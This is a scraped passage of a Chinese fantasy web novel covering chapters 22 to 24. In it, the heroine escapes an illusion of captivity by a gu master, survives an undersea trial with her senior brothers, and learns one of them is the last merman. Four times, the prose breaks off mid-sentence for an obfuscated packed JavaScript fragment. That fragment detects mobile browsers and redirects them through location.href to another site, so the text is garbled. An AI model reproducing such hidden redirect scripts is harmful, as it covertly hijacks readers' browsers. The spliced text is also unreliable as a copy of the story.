“再等四十九天……四十九天之后……就见分晓了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062181|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >见什么分晓?四十九天之后,这罐子里的东西饿也饿死了吧? 眼前的景色开始飞速掠过,看上去这幻境是要直接跳过中间这四十九天发生的事情。 云朵不由得感叹,这幻境还挺通人性,有详有略的。 画面再次定格在了竹屋内,“云朵”和老人面对面站在桌子两端。 老人的目光一直锁定在陶罐上,眼中不再是一片死寂,取而代之的是一种近似癫狂的精光。 云朵被他的神情吓到,虽然知道这是幻境,她死不了。但她可不敢保证眼前这个人要是真的发疯,会使出什么恶心人的手段来对付她。 她不敢妄动,目光追随着老人的动作,看着他迫不及待地用刀刮着密封用的蜡油,兴奋得手都在微微颤抖。掀开盖子的刹那,一股腥甜的味道瞬间填满了整间竹屋。 云朵觉得有点反胃,这味道闻着就很不对劲啊! 她很想脚底抹油直接溜,但奈何她控制不了幻境中的身体,只能硬着头皮看下去。 那老人伸头看清罐中的东西后,突然仰天大笑道:“成了!真的成了!是长生蛊!长生蛊居然真叫你炼成了!!” 他目光灼灼地盯着“云朵”,仿佛在看一汪取之不尽、用之不竭的灵泉,那眼神让云朵头皮发麻,汗毛竖立。 “我可以长生了!!长生啊!哈哈哈哈!!”那老人又开始抚掌大笑,手舞足蹈的样子状似疯癫。 突然,他的动作和声音都停住了,仿佛被施了定身术。 一只蝴蝶从陶罐中翩然飞出。它翅膀漆黑,上面有白色的花纹。 是粉侯,它居然在一群毒物中活了下来。 而且相比之前,变得更……漂亮了,它翅膀上的鳞粉在烛火的照耀下,泛着一层七彩的光泽。 粉侯停在了“云朵”的手背上,她刚准备取出布袋中的蛊盅,却忽觉手背上一阵灼烧般的疼痛。 !!! 云朵在内心中惨叫,疼得眼前一阵一阵发白。恍惚中,有人扑到她面前,拽着她那只疼痛难忍的手,却又像被烫到一样松开。 “不!不!!你把它弄出来!它是我的!” 云朵透过模糊的视线,看见老人跪倒在她面前,双手凌空伸向自己,想要去够她被灼烧的那只手,又恐惧得不敢上前。 她低头看自己的手背,只见那上面蹿起一束黑紫色的火苗,火焰舔舐着她的手背,她仿佛都能闻到空气中有烧焦的肉味。 一盏茶的时间后,那火焰突然熄灭了,她的手上却没有留下任何伤疤,仿佛刚才的一切都是她的幻觉。 不等云朵从怔懵中回过神来,她的衣领便被人一把拎起,双脚离地。 “你把它还给我!那是我的!是我花费了大半生搜集来的炼蛊材料,是我看到了你的天赋,都是我!!长生蛊能炼成都是因为我!!你怎么能把它占为己有!!” 云朵被他晃得晕头转向,衣领卡在咽喉处,让她有些窒息。 耳边一刻不停地回荡着老人的嘶吼,吵得她的头开始疼了。 她很想说,我并不想要跟着你学炼蛊,我也不稀罕什么长生蛊,你要是有办法拿去,就拿去吧。 但她在这里终究只是个过客,她的话语全都被幻境吞噬掉了,只剩下了沉默。 22. 鲛室窥故我(4) 云朵本以为会迎来那老人疾风骤雨般的报复,却没想到先报复而来的是浓厚的白雾,和第三个问题。 “云怀清救的是你,还是你体内的‘长生蛊’?” 云朵看着那行飘忽的文字,脸上浮现出了自进入幻境以来的第一个笑。 “我。” 她无比笃定地回答。 白雾散去,云朵感觉到头皮上传来撕裂般的锐痛。 是那个老人拽着她的头发,拖着她进了一个偏远的地窖。 云朵疼得龇牙咧嘴,内心啐道:原来这幻境不是给我免去这老不死的报复,只是插空问我个问题,再给我丢回来受苦。 那老人彻底疯了。 云朵被他关在了地窖。 地窖里又黑又潮,只有一盏灯挂在墙上,昏黄的光把她的影子拉得老长。 老人用铁链锁住云朵的脚踝,铁链的另一端拴在墙上的铁环上,一动就哗啦作响。 “你不把本命蛊给我,就永远别想出去。”他蹲在云朵面前,声音沙哑得像砂纸在磨木头,眼睛红得能滴血,死死地盯着她,仿佛恨不得将她敲骨吸髓,“我会想办法的,总会有办法把它从你身体里弄出来!” 从那天起,地窖就成了云朵的牢笼。 老人每天都会下来,有时拿着沾了药水的针,想往云朵的穴位里扎,说要“逼蛊现身”;有时拿着熬好的黑色汤药,硬灌进她的嘴里,说那是“驱蛊汤”。云朵喝了之后上吐下泻,差点丢了半条命,后来再看到汤药,就拼命挣扎,宁死也不喝。 为了将长生蛊逼出,他甚至想到了用蛊虫来啃咬云朵的血肉,好像他的蛊虫吃掉了云朵,就能继承她体内的长生蛊一般。但也许是粉侯在日复一日的斗蛊中,成长为了足够可怕的蛊王,那些蛊虫也只敢在她身上爬来爬去,不敢下嘴。 这样暗无天日的日子,到底过了多久呢?云朵在黑漆漆的地窖中已经丧失了对时间的感知力,脑袋也在连续不断的折磨中变得不甚清明。 我要死在这里了吗?死在这个地窖里,死在这个幻境中? 如果我就这么死掉,师兄们会不会很伤心?会不会被自责淹没? 明明已经下定决心不要拖后腿,最后还是让他们担心了。 云朵,你真是没用。 云朵的意识在清醒与模糊之间被反复拉扯,恍惚间,她听见地窖的木门发出难听的吱呀声。 她努力掀开眼皮,映入眼帘的是一把闪着寒光的匕首。 那老人手执利刃,目露寒光,缓慢又低沉地说:“《蛊经》里说,长生蛊会附在心脏旁,只要剖开胸口,就能取出来……”那把匕首的刀尖抵住了云朵的心口,“你忍忍,等我取了蛊,再给你炼一个,以后咱们一起长生,好不好?” 云朵被吓得浑身发抖,撑着手臂,努力把自己往墙角缩,好像只要把自己缩成小小的一团,就不会被老人看到。她看着老人一步步逼近,不慎明亮的灯光在他脸上晃,让他看起来像个索命的厉鬼。 不行!我不想死!我不想死在这里!! 在这里没有人能救我,我得自己想办法!! 就在刀尖快要碰到云朵胸口的时候,老人的动作突然停了。云朵有些错愕,她不安地抬头,在他的眼里看到了同样的情绪。 还不等云朵想明白现下的状况,只听“当——”的一声,她脚腕上的锁链已经应声而断。 那老人居然主动砍断了锁链! 虽然不太明白这老人是突然想通了,还是吃错了药,但云朵知道,这可能是她唯一的出逃机会了。 她当机立断,撑着发软的腿脚,拼尽全力向外跑。 她刚跑出地窖,就听见老人的嘶吼:“抓贼!抓偷蛊的贼!她身上有长生蛊!” 天色已黑,寨中的人都已回到各自家中熄灯歇息。老人撕心裂肺的喊声打破了这份宁静,三三两两的火光亮起,有些年轻力壮的寨民已经开始加入狩猎云朵的队伍。 云朵不敢回头,也不敢停,只是拼尽一切地埋头往森林里冲。只要进了森林,她逃生的希望就多了一些,哪怕最后还是在森林里迷路、死去,她也不要回寨子里受折磨。 但她毕竟太小了,步伐短于成年人,又经过了这些时日的折磨,力气失了大半。 她听见身后的脚步声越来越近,追赶者手中的火光照亮了她前方的路,也掐灭了她心中希望的火苗。 就在她已经绝望,打算认命时,她身后的人突然发出一声尖叫。 这尖叫声仿佛会传染,一直往后传,此起彼伏。 “啊!我的蛊虫!” “我的蛊虫疯了!它们在咬我!” “救救我啊啊啊啊!!!” 云朵在一片惨叫声中,耗尽了最后一丝力气,摔倒在地上。但此时,原本来追她的人全都在被蛊虫折磨,谁也没有把注意力放在她身上。 她努力蹭到森林边缘,靠在一棵树上,虚着眼睛看着寨子中的乱象。 突然,她感觉手指被什么东西碰了一下,很轻的一下。 她低头,只见一只红色的蜘蛛停在她手边,小心翼翼地伸出一只前足去碰她的手指。 是解忧。 云朵惊讶地发现,解忧的身后延伸出无数根细细的蛛丝,它们分散开来,像天罗地网一般伸进夜色的寨子中。 怪不得那些人的蛊虫会反常到去咬自己的主人,原来是被解忧的蛛丝控制住了。 她每天都被那老人带到竹屋里斗蛊,每次斗完蛊,她会偷偷再找几只毒虫,喂给解忧。 她原本只是想着,既然把它留下了,就不能太厚此薄彼。粉侯每天都吃山珍海味,那解忧起码也得有得吃才对,要不然不就太可怜了。 万万没想到,今日有难,是解忧救她于水火,真是没白起这个名字。 云朵伸出手,把解忧轻轻拢在掌中。 她捧着唯一的战友,扶着树干站起来,一步一步朝森林中挪去。 不知是谁在慌张中丢掉了手中的火把,点着了寨子中的竹屋,熊熊燃烧的火焰连成一片,吞噬了寨子之后,胃口大开,借着风势又扑向了寨子外面的森林。 云朵感觉背后的温度越来越高,火舌已经快要舔上她的衣角。 我尽力了,没办法了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062182|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对即将到来的死亡,云朵的内心却出奇平静。 我已经做了所有我能做的,努力挣扎、出逃,拼尽全力向着远离寨子的方向迈出每一步。 她看着安静窝在她掌心的解忧,在心里默默跟它说了句对不起。虽然她知道它听不到,但是她还是想对这个拼尽全力救她的小东西表达一下歉意。 这个小家伙因为她的私心被留下来,却只能每天躲在蛊盅里,也没有被喂过很好的蛊虫。 它跟着她没有过上一天舒服日子,却不得不陪着她去死,多么不公平。 烟雾与尘土争先恐后地往她口鼻里钻,她被呛得咳喘连连,又被迫吸入更多。滚滚浓烟遮蔽了她的视线,刺激得她睁不开眼,泪腺源源不断地分泌泪水,徒劳地想要将异物驱赶出去。 云朵感觉意识不清,灵魂似是要挣脱□□的束缚,魂归高天。 她终于跌倒在地,脑中浑浑噩噩地想: 快点结束吧,让我死得痛快点,不要再折磨我了。 恍惚中,一阵清风吹拂过她的面颊,风中携着清雅的淡香,逼退了炽热的火焰与呛人的烟尘,原本身上的伤痛也仿佛离她远去。 她隐隐看到一片白光透过她的眼皮,映在了脑海里。 我这是已经死了,来到了天上仙境吗?不然这暗无天日的森林里怎么会有这么柔和又明亮的光? 她努力睁了睁眼,眼前糊着一层泪水,看不真切,只觉得眼前有个青色的影子向她靠近。 那青色人影在云朵面前站定,弯下腰来。 她快速眨了几下眼,眼前的景象逐渐清晰,像是有人用笔墨一笔一笔勾勒出那青衣人的眉眼。 眉不浓不淡,似远山含黛,眼极清极亮,像一汪春水。唇角微弯,不笑时也带三分暖意,整个人的气质仿佛一块暖玉,光华内敛。 “你还好吗?可有受伤?”青衫少年柔声问她,好看的眉头微蹙,面含关切。 云朵摇了摇头。 “你叫什么名字?” 云朵顿了顿,又摇了摇头。 她并不知道曾经的自己叫什么,即使记得,也不想说。 青衫少年抬头看着远处,轻声道:“你是那个寨子里的孩子吗?” 云朵垂下眼,不作答。 头顶传来一声轻微的叹息,她抬头,看见那青衫少年朝她伸出手,面带浅笑,问道:“既然你无处可去,那要不要跟我走?” 被大火摧残过的树林再掩不住天光,一束阳光透了进来,刚好打在青衫少年背后,为他镀上一层暖黄的轮廓。 云朵看着他莹白的手指,鼻腔中盈满了清新但不刺鼻的香气,缓缓抬起僵硬的右手,搭在了少年掌上。 下一刻,她被一股无形的力量托起,绵软的双脚甫一落地便踉跄几步,又要朝地面摔去。那少年忙用另一只手托住她的后背,助她稳住了身形。 她仰着脸,望进青衫少年的双眼。那少年弯着眼睛笑了,松开了牵着她的那只手,用指尖拂去沾在她脸上的泥土。 “我是浮云宗的云怀清,从今天开始,就是你的大师兄了。” 23. 鲛室窥故我(5) 青衫滴翠,笑颜温润。 这是她与云怀清的初遇,也是她记忆的开端。 从那一刻起,她就摒弃了过去,成为了浮云宗的云朵。 眼前的色彩开始褪去,画面亦开始扭曲。冰冷的水从她的口鼻涌入,带着刺骨的温度,漫进四肢百骸。 云朵奋力挣扎,手脚不断地在没有边界的冷水中扑腾。 怎么回事?是哪个问题答错了,秘境开始惩罚她了? “师妹!师妹醒醒!” 恍惚间,从遥远处飘来季来之的喊声。她的眼睛被水激得睁不开,只能靠听觉辨认声音的方位,努力向着那边游去。 声音越来越近。 忽地,一股力量把她吸了过去,她被卷进了一个漩涡。一阵天旋地转后,她“咚”地一下掉到了地上。 “疼疼疼——!”云朵后背着地,感觉全身的骨头都散了架。 “哎呀,你怎么从上面掉下来了!”季来之冲过来将她扶起,“不愧是你,不走寻常路啊!” 云朵揉着摔痛的肩膀,久违地翻了个白眼给他:“你这阴阳怪气得也太明显了!” 季来之嘿嘿一笑:“我还以为你听不出来呢。” “我又不是傻子!”云朵骂完,又环顾了四周,问道,“二师兄呢?他还没回来?” 季来之用手指了一个方向:“哪儿呀!师兄早就回来了,看你迟迟没动静,就说先去那边探探路。” “呃……”云朵摸摸鼻子,感受到了差距。 “既然你醒了,那咱们就一起去那边找二师兄吧,省得他再返回来找我们了。”季来之说完,拍拍衣裤站了起来,见云朵还坐在地上,向她伸出手,“你怎么样,站得起来吗?” “能!”云朵借着季来之的力量起身,一个黑色的陶罐从她怀里滑落在地,敲击出清脆的叮当声。 “咦?这是什么?怎么会在我怀里。”云朵弯下腰把陶罐捡起,在手中把玩了一下,觉得很眼熟。 季来之奇道:“你掉下来之后,就抱着它呢,应该是你在幻境里拿到的‘奖励’,我以为你知道呢!” 幻境里拿到的“奖励”? 云朵突然想起来为什么她觉得这小玩意眼熟了,这不就是幻境里她天天都要用到的蛊盅嘛! 她揭开盖子,看到里面的东西时,感觉全身的汗毛都炸起来了。 一只通体血红,步足纤长的蜘蛛静静地趴在罐底。 解忧! 怎么回事,为什么解忧出现在这里?那不都是幻境中的东西吗?为什么会活生生地出现在她面前? 季来之伸头过来,看到罐中的蜘蛛后,沉下脸色:“这是什么?” 云朵下意识地扣上了盖子,回道:“没、没什么,就是我在幻境里见过这个小家伙,也不知道为什么出现在这里了……” 季来之没再追问,沉默片刻后,道:“算了,先去找二师兄吧。” 二人并肩走在一条走廊,这走廊不知是用什么材料建成的,白壁上泛着蓝紫色的光晕。前路深深,望不到尽头。 “三师兄,你确定二师兄是往这边走的吗?你要不要喊一嗓子,看看二师兄到底在没在前面?” 季来之撇撇嘴:“当然是这边了,我亲眼看着他往这条路上走的。而且为什么是我喊啊,你怎么不喊?” 云朵道:“我可是淑女!淑女哪有大喊大叫的?” 季来之揶揄道:“整天追着人打,还动不动就上房揭瓦的淑女?” 云朵怒道:“你找打——!” “轰隆!”远处传来一声巨响,打断了云朵和季来之的对话。随之而来的是一阵地动山摇,整个走廊都在抖动,摇晃,地面仿佛变成了海面,被剧烈的震动抖出了波浪。 云朵猝不及防,被地面的抖动颠得一个踉跄,扑到了墙上才稳住了身形。 “这是什么动静?!” 话音刚落,他们前方不到十米的地方又传来一声爆炸声,天花板瞬间塌了下来,蓝蓝紫紫的碎片伴着粉尘挥洒而下。 紧接着,海水携惊雷之势,顺着天花板上破开的洞口涌入。 云朵赶紧掐起避水诀,朝季来之喊道:“这是什么情况啊?怎么还塌了!” 她说话的工夫,季来之已经拔剑出鞘,一跃而上:“走,我们过去看看情况。” 云朵不敢怠慢,二人掐着诀,用脚下的剑破开湍急的水流,飞出洞口。 洞外是幽邃的海底,阳光无法透进来,漆黑一片。 云朵点燃一张照明符,有些慌乱地去寻季来之。 “我在这儿呢。”季来之的声音直接在她脑海里响起。 云朵心道:“你直接给我传音,我哪里听得出来你在哪儿!” 季来之的声音带着笑意:“笨!往上看!” 云朵抬头,见季来之踩着剑飘在她上方,若非头发和衣摆在随着水流飘荡,简直看不出他在水中。他手里也攥着一张照明符,发出微弱的亮光,照亮了他笑盈盈的双眼。 “你什么时候跑到上面去了?”云朵驱动脚下的剑,抬升到和季来之相同的高度,发现没法做到像他那样自如,“咱们是出来了,二师兄怎么办?他是不是还没出来呢?” “他已经出来了,我感觉到了。” 云朵纳闷:“你能感觉到?你感觉准吗?别把我带沟里去!” “放心,跟我走。”说着,季来之御剑朝一个方向飞去,视周围的海水如无物。 “你等等我啊!”云朵全力跟上,还是落下一大截。 飞出一段后,季来之突然急急停下,伸出手挡在云朵面前。 “先停下,前面有东西。” 云朵停在季来之身后,有些紧张地问:“前面有什么东西?” 季来之摇摇头:“不知道,但感觉起来不太好。” 云朵透过照明符的光,努力地想看清前方黑夜般的海水中到底潜伏着什么。 一时间,四下寂静,自己的心跳声就变得震耳欲聋。 突然,季来之拔出另一把剑,剑光骤起,向前方甩去。剑光撕裂黑暗,照亮沿途,最后劈在一片黑色的雾气上。 云朵大骇:“这是什么东西?!海里怎么会有雾气?” 季来之亦是面色凝重:“不好说,这东西给我的感觉,跟之前那只金乌身上的怨气类似。” 云朵抖了一下:“那岂不是很危险,你之前说感觉到二师兄在这边,那二师兄难道在这团雾气里?!” 季来之沉默了。 双方就在一片静默中对峙着,直到另一束光从黑雾中射出,刺破了凝滞的气氛。 一道人影紧随白光而出,白衣飘飘,黑发如墨。 “二师兄!” “走!”夏南烛的声音在他们二人的脑海中响起。 云朵和季来之不敢怠慢,催动灵力,全力往相反方向冲。夏南烛垫后,时不时用剑光击退追来的黑雾。 黑雾从四面八方包裹过来,云朵也不得不开始用剑防御从侧方袭来的黑雾。 她正全神贯注地挥剑,蓦地感觉脚腕一凉,瞬间就被一股力量拉进侧面的黑雾中。黑雾内部温度骤降,云朵感觉自己仿佛泡在冰水中。 照明符在被拽进黑雾时不知掉落在哪里,现在她眼睛什么都看不见。 她又试着挥了几下剑,没有感觉到什么阻力,仿佛那黑雾没有实体。 眼前一阵白光闪过,云朵感到手臂被一只手握住,拽了过去。 “岁宁,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062183|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样?”夏南烛焦急的声音随之响起。 “二师兄,我没事,就是这里面有点冷。” “你去前面找来之,这里交给我,别回头!”说着,夏南烛一挥广袖,一股烟雾随着他的动作飘向后方黑雾,那些黑雾像是有意识,害怕般地向后缩去,不敢碰触烟雾蔓延到的区域。 云朵紧握着剑,往前游了一段距离,终于看见了正在和黑雾缠斗的季来之。季来之看见她,目光一凛,左手的剑脱手而出,飞速向她掷来。 云朵吓了一跳,赶紧往旁边闪,季来之的剑一下刺中一股原本伸向她的黑雾。 见黑雾退缩,季来之勾勾手指,剑又飞回他身侧。 夏南烛也赶到了,三人收缩队形,继续往上游。季来之打头阵,原本云朵还担心他会带错路,没想到游了半晌,隐隐能从上方看到从海面透下来的光。 也是怪了,季来之平时出门总迷路,方向感差得连云朵都摇头,在海里反而如鱼得水了。 看到了光,就说明离海面不远了,云朵内心终于是松了一口气。 下一秒,她就感觉腰上缠上了什么东西,将她猛地往下一扯。 她只来得及吐出一串泡泡,就又跌回了黑暗里。 慌乱之中,她也忘记掐避水诀,海水从她的口鼻中涌入,将本就少得可怜的空气挤压出去。她的手胡乱抓了两下,只触到一片冰凉,力气反而被耗空了。 云朵的眼前开始发白,耳中嗡鸣不止。失去意识前,她唯一的想法就是: 这玩意怎么就相中我了? 不知过了多久,云朵模模糊糊地感到自己仿佛一叶小舟,在波涛中起起伏伏。 她动了动胳膊,发现被什么东西箍住了,危机感让她瞬间清醒,但映入眼帘的并不是一望无际的黑,而是一群莹蓝色的小鱼。 数不清的鱼正围绕着她,它们顺着同一个方向游动,盘旋向上,像一个在海中的龙卷风,将她围在中央,保护着她。 云朵还没从震惊中恢复,季来之的声音就又在脑海中响起:“醒了?” 她终于知道是什么东西箍着她了,季来之正用一条手臂环着她的腰,带着她往上游。 她问道:“这些鱼是怎么回事?” “它们是我叫来的。” 云朵奇道:“你还有这种本事?你不会要说自己是什么海妖之王之类的吧?” 季来之的声音带上了笑意:“你低头看看。” 云朵低头,惊讶的发现季来之的下半身不再是双腿,而是变成了一条鱼尾,从衣摆下探出。 她的视线继续向下,向下扫到尾巴尖,鳞片从蓝色渐变到紫色,在水中泛着细细密密的光。 云朵推了推腰间的手臂,季来之没再用力,顺势松开了手。 她游出一小段距离,转过身,见季来之的头发全部散开,随波飘荡,蓝紫鱼尾轻轻摇摆,让他整个人悬停在海中,任由鱼群簇拥。 “怎么?师妹这是看呆了?”他眨了眨眼,他化为人形时,双眸就是罕见的深蓝,而现在现出本形,眼中的蓝色变得更浅,像把天空映入了眼眸。 “你……你……”云朵语塞了半天,“你是季来之?” 季来之微微歪头:“我化形的时候,也没改我的长相呀,这就认不出啦?” 云朵当然认得出这张脸,只是过于震撼,让她有点语无伦次。 “不是,你是季来之,但你为什么是鱼呀?不对,你这种人身鱼尾的生物,应该叫鲛人对吧?不对不对,鲛人不是因为浑身都是宝,被大肆捕杀,我没记错的话,鲛人族不是几十年前就已经灭绝了吗?” “嗯,你没记错。”季来之的眼神暗了暗,缓缓道,“所以我就是这世上最后一个鲛人了。” 24. 鲛室窥故我(6) 也许是这个消息太过震撼,云朵感觉意识断片了一段时间,等她回过神来,已经被季来之带上了海面,被放在了一块礁石上。 “岁宁。”云朵抬头,见夏南烛从剑上跳下来,落在她身旁。 夜晚的月光洒在他身上,更显得他白衣胜雪,皎皎如玉,仿佛刚才的苦战并没有在他身上留下痕迹。 “你感觉如何?有受伤吗?” 云朵摇了摇头。 季来之趴在礁石上,手在她眼前挥了挥:“也没让你撞到头呀,怎么人变傻了?” “最后一个……鲛人?”云朵还是懵懵的,答非所问。 她以前在宗门内练功练得无聊时,也会去藏书阁找些闲书看,某次就翻到了鲛人族的历史。 鲛人族,人身鱼尾,世代栖息于碧渊。族人多貌美,善歌唱,声音空灵清逸,可引鱼群共舞,亦可令风暴显威。鲛人是海中瑰宝,且不提家喻户晓的对月流珠,鲛珠可炼制夜明珠,鲛绡裁制的衣袍刀枪不入,鲛脂可作长明灯的燃料…… 鲛人身上的宝藏,为他们引来了灭族之灾。人类前赴后继,奔向深海,以谎言诱之,以雷火围之。剥鳞为甲,抽骨为弓,剜眼为夜明珠,连尚未成形的幼崽也被投入丹炉,熬出一盅盅供帝王家享用的“长生胶”。 直到最后一尾鲛人拖着被剜去心脏的残躯沉入碧渊,此后,再无泪落成珠,再无绡展如云,再无碧海长歌。 季来之闻言挑眉,使劲一甩尾巴,溅起一大片水花。 “怎么,你还不信?你看看我这漂亮的鱼尾巴,不像假的吧?” 云朵神情恍恍惚惚地问:“那你还是我三师兄吗?” 季来之的笑一下子僵在了脸上,转成怒意:“好啊,我刚救完你,你就翻脸不认人了!竟然连我这个师兄都不认了!!” 云朵见他误解了,赶紧解释:“我不是那个意思!但你刚刚说了你是鲛人吧?鲛人族不是几十年前就灭绝了吗,你是怎么活下来的?那你岂不是起码有几十岁了?” 季来之不答,云朵就自顾自地继续说:“几十岁……那你年龄比大师兄都大呀!你当三师兄是不是不太合适?” 夏南烛:“……” 季来之:“……” 季来之沉默半晌,抬起一只手按住抽痛的额角,声音里都带了点沧桑:“我该表扬你一句真严谨吗,师妹?” 云朵:“……谢谢?” “谢谢?我谢你个头!”季来之的鱼尾又使劲扑腾了几下,气的脸都红了。云朵怀疑要不是他现在这个形态不方便上岸,自己的耳朵或者头就要遭殃了。 “我们鲛人本来就长得慢,活了几十年也就相当于你们人类的少年人。再说了,我是第三个拜入师门的,排第三也没问题呀!”季来之手也不扶额了,隔空冲着云朵的脑袋狠狠点了几下,“你呀,有时候我真想敲开你的脑壳,看看里面装的都是些什么!你的重点能不能抓对!” 云朵嘟囔道:“那你自己没觉得被占便宜了就成,我反正是占不上你的便宜。” 季来之的手又收回去扶额了。 夏南烛看不下去了,插话道:“现在海里的情况不明,不是闲话时间,我们最好尽快远离此地。来之,你还能化成人形吗?” “能!”季来之说着,双手一撑,又滑进了海里,一串泡泡从下面咕噜噜地冒上来。 “岁宁,你转过来。” “为什么……哦!”云朵本来还纳闷夏南烛为什么要她背过身去,仔细一想,季来之下面那条鱼尾是光溜溜的,她看着确实不太好…… “二师兄,我看你一点也不惊讶,你之前就知道三师兄的身份吗?”云朵看着夏南烛波澜不惊的侧脸,觉得她可能有好多事都不知道。 “嗯,是我带他回宗门的,之前我们也在海上见过。” 云朵恍然大悟:“对哦!三师兄之前说过,你们第一次相遇就是在海边,所以那时候你就见过他的鲛人真身了?” 夏南烛点点头:“没错。” “什么什么?你们说什么呢?”季来之“哗啦”一声钻出水面,听见夏南烛的话,好奇心上来了,“不会师妹又在说我坏话吧?” 云朵愤怒回头:“我才没有!只是二师兄跟我说他之前就见过你变成鱼。” “没错啊,自从我从灭族之难中逃过一劫,就一直在海里漫无目的的流浪。我本来都会绕着船只走,结果好巧不巧,有一次我受伤昏迷,顺着水流漂到了岸边,恰好二师兄家的船停在附近,就把我捞上去了。” 云朵听得入神:“然后呢?” “然后?然后二师兄帮我把伤口都治好了,又把我放回海里了呗!” 云朵满意地点点头,道:“果然是二师兄会做的事。” 季来之没再接话,用灵力烘干了身上的红衣,双手拢着湿漉漉的头发,挤出水分,在脑后随意地扎了个马尾。 “二师兄,咱们接下来怎么办?直接御剑回宗门吗?” 夏南烛抬头看了眼黑沉沉的天色,摇头道:“刚刚的战斗消耗不少,御剑回宗门有些勉强。我先前探路时发现不远处有片树林,我们可以在那里休整一晚,明早再启程。” 季来之点头:“那就这么办吧。” ----------------- 三人来到树林中,找了一片空地歇息。 夜间的树林中,寒气与湿气交融,让云朵感觉身上的衣服像块抹布一样,冰冷黏腻地裹在身上,弄得她很不舒服。 夏南烛在路上折了一捆树枝,堆在地上,指尖燃起一簇火苗,甩进树枝堆里。明黄火焰亮起,云朵欢呼一声,连忙凑过去烤火。 进入海底秘境后,他们三个都被安排了不同的试炼,试炼结束后,又碰到了缠人的黑雾。这一番折腾下来,三个人都有些疲惫,一时无话。火光在黑暗中跳跃,发出的噼啪声在空寂的树林里尤为明显。 最终,季来之打破了沉默。他蹲在火堆旁,扭头去问站在身后的夏南烛:“师兄,咱俩还是老规矩?” 火光在夏南烛漆黑的眼瞳中跳跃,他本来正盯着火堆发呆,被季来之的话唤回了注意力,朝他点了点头。 云朵怀疑她是不是错过了什么对话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062184|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她回忆了一下从礁石到森林的路途,她也没再昏过去呀,怎么听不懂师兄们在说什么。 “你们在说什么啊?我怎么听不懂?” 季来之解释道:“以前我跟师兄一起游历的时候,如果需要夜宿在外,都是我守前半夜,师兄守后半夜。” 云朵不乐意了:“那我呢?你们就这么把我排除在外了吗?” 季来之有些不解:“你就好好睡你的觉啊!” 云朵道:“让我也加入守夜队伍呗!我好歹也是浮云宗的内门弟子!” 季来之向夏南烛投去询问的眼神:“师兄,你看呢?” 夏南烛道:“那岁宁就守最后一班吧。” “好,那我赶紧去养精蓄锐,保证不辱使命!”云朵得到夏南烛的应允,蹦蹦跳跳地寻了个树干,靠坐下来,抱着盈盈剑,满足地睡了。 许是第一次露宿,云朵睡得并不安稳,感觉脑子里一直在闪过各种各样的场景和片段,却一个都看不清、抓不住。 被夏南烛叫醒时,云朵感觉这觉还不如不睡,头比睡之前还沉。 夏南烛见她脸色困倦,轻声问:“你若是没睡好,我继续守夜也可以。” 云朵轻轻摇头。夏南烛见她坚持,也不好多说,只嘱咐她有什么情况就叫醒他。 云朵挪到火堆旁,缓了一阵,总算觉得五感都清明了些。 她抬头,透过层叠的树影,望向开始泛白的天空。 说是让她守最后一班,实际上轮到她的时候,天已经快亮了,估计再过一个时辰就能启程了。 大概在师兄们眼里,她还是个没长大的小孩子吧。 云朵在心里叹了口气,不知什么时候她才能像师兄们一样独当一面。 拂晓将至,树林中的生命渐次苏醒,虫鸣与鸟鸣交织,宣告着新的一天即将来临。 在这昭示着生机的声音中,云朵捕捉到了一声不和谐音。 那声音不算响亮,像璞玉坠地,碎裂成几块时发出的悲鸣。 她本没太在意,但当余光扫树影间透出的一抹红色时,她隐隐觉得事情不对,朝霞不应该这么红。 云朵御剑而起,冲出层层叠叠的树冠,眼前的一幕让她惊恐地睁大双眼。 远处的天空像染上了血,几条交错的黑色裂缝躺在血色中,还在不断扩大,发出“咔咔”的碎玉声。那些裂缝宽初仅一线,却在一息间撕裂成深渊,边缘处,苍天如瓷,碎痕蜿蜒。 下一瞬,黑雾涌出。 明明离得很远,云朵却感到寒意已浸染了她的全身。她开始发抖,不知是冷得,还是怕得。 她赶紧返回那片空地,盈盈剑被她控制得七扭八歪的,几乎将她甩下去。 